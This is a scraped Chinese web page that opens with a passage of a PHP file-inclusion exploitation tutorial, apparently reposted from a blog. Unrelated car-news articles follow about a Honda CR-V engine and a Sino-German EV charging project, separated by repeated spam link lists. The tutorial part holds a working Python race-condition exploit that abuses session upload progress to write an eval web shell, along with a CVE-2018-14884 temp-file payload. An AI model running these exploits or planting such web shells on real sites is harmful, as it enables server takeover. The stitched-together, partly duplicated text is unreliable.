  3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

  4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

3.5 自己構造Session

有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

  • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

利用思路:

  1. 上傳一個文件

  2. 上傳時設置一個自定義PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

  4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

利用exp:

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

影響版本:

PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1

windows 臨時文件:C:\windows\php<隨機字符>.tmp

linux臨時文件:/tmp/php<隨機字符>

  1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

  2. post惡意字符串

    import requests
    
    files = {
      'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
    
  3. 在臨時文件中可以看到惡意代碼成功寫入

  4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

加速7.5s+8.1L油耗,用上了1.5T發動機的本田CR-V究竟有多強?

而這次加入1。5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2。

編者總結:

毫無疑問,2.0L發動機被取代是毫無疑問的,畢竟現今服役的2.0L發動機有着不短的“年頭”。而這次加入1.5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2.0L的價格,相信能給對手造成不少的衝擊。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

中德電動汽車充電項目取得新進展 第三階段正式啟動

德國Spiegel Institut Mannheim對半公共充電樁用戶的充電和駕駛行為進行了研究,提出了提高充電效率、付費方式便捷化等建議。本研討會的另一重要議題是介紹並啟動項目第三階段的研究工作。作為項目第三階段的主要研究機構,普華永道思略特在研討會上向與會人員介紹了項目第三階段的主要課題內容和部分課題的初步研究成果。

在中德兩國政府以及大眾汽車、寶馬、戴姆勒、北汽的大力支持下,“中德電動汽車充電項目”於2016年11月8日在北京召開了第二階段總結暨第三階段啟動會。來自相關政府部門、行業協會、電力企業、中德車企和研究機構的代表出席了會議。國家發改委產業協調司机械裝備處處長吳衛和德國聯邦環境、自然保護、建築和核安全部主管排放控制,設備安全與交通司副司長Dr. Norbert Salomon出席會議並致辭。

“中德電動汽車充電項目”第二階段於2015年3月在北京啟動,於2015年12月底完成。項目選取北京地區住宅小區的公共停車區域、寫字樓、政府機關事業單位以及公共商業物業等(半)公共領域開展充電解決方案研究。參与項目運營的電動汽車包括奧迪 A3 e-tron、北汽EV200、大眾汽車electric up!、寶馬i3、奔馳Smart ED、華晨寶馬之諾1E 和騰勢。

“中德電動汽車充電項目”第二階段針對(半)公共領域充電開展了三個課題的研究,即“電動汽車用戶信息研究”、“半公共區域電動汽車充電設施商業模式實證研究”和“基於電動汽車發展的北京市(半)公共區域充電地點選擇和可行性分析”。清華大學、中國汽車技術研究中心以及德國Spiegel Institut Mannheim作為課題研究機構,在會上分別彙報了研究成果。

清華大學研究團隊以北京為例開展研究,得出的基本結論是在中國推廣半公共充電有其可行性。此外,通過對車位及充電設施使用開放度的分析,研究團隊認為,在保證合理商業運營及管理模式的前提下,對寫字樓、公共商業物業甚至是政府及事業單位中低峰時段的車位加以利用也有其可行性,值得积極探索。

中國汽車技術研究中心研究團隊從充電基礎設施商業運營模式角度,建議政府適時出檯面向運營環節的補貼、停車費用減免等政策,使半公共充電成為私人充電的有效補充和替代。同時要鼓勵運營商积極創新、嘗試新型業務和商業模式,通過擴展業務範圍及實現與其他相關業務的協同發展來拓寬收入來源,有效縮短投資回收周期。同時,中國汽車技術研究中心研究團隊也提出在半公共區域單獨報裝充電設施、建設充電專屬車位等其他相關建議。

德國Spiegel Institut Mannheim對半公共充電樁用戶的充電和駕駛行為進行了研究,提出了提高充電效率、付費方式便捷化等建議。

本研討會的另一重要議題是介紹並啟動項目第三階段的研究工作。作為項目第三階段的主要研究機構,普華永道思略特在研討會上向與會人員介紹了項目第三階段的主要課題內容和部分課題的初步研究成果。

項目第三階段的研究課題主要圍繞未來長里程電動汽車的充電需求及其與環境的相互影響。課題分為六大模塊:長里程電動車需求預測、消費者充電需求及充電行為分析、相關政策法規及技術參數分析、電動汽車發展與電力供應的相互影響、電動汽車發展對住建行業的主要影響,以及充電基礎設施發展分析等。

其中,普華永道思略特在研討會上針對“電動汽車發展與電力供應的相互影響”模塊的一些初步成果也進行了彙報與討論。普華永道思略特分析,由於中國呈現電力過剩的特點,電動汽車不但不會對發電端造成壓力,還能消耗過剩電能。從用電負荷分析,在無序充電的情景下,2020~2025年電動汽車引起的用電負荷增加量佔全國裝機量的比例較少,在全國層面造成的影響較小;當電動汽車佔比達到較高水平時,部分省市峰值用電負荷將顯著增加,為電網帶來一定壓力。另外,隨着電動汽車的發展,部分小區將出現配電系統升級的需求。

針對電網如何能夠更好地支持電動汽車產業的發展,普華永道思略特給出了三點建議:建立跨行業溝通平台,推動各利益相關方的合作,积極促進各方達成共識並提高資源利用效率;更好的發揮價格指導作用,激勵消費者,並加快發展智能化、信息化技術,實現有序充電;研究制定傳導機制,解決因電動汽車發展帶來的配電網備擴容成本問題,確保有效傳遞電力企業或者產權方承擔的成本增加。

最後,中德雙方均對“中德電動汽車充電項目”第二階段研究成果表示肯定,並期待第三階段的研究成果能夠更加豐富。中德兩國政府將會繼續支持中德電動汽車充電項目的持續推進。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準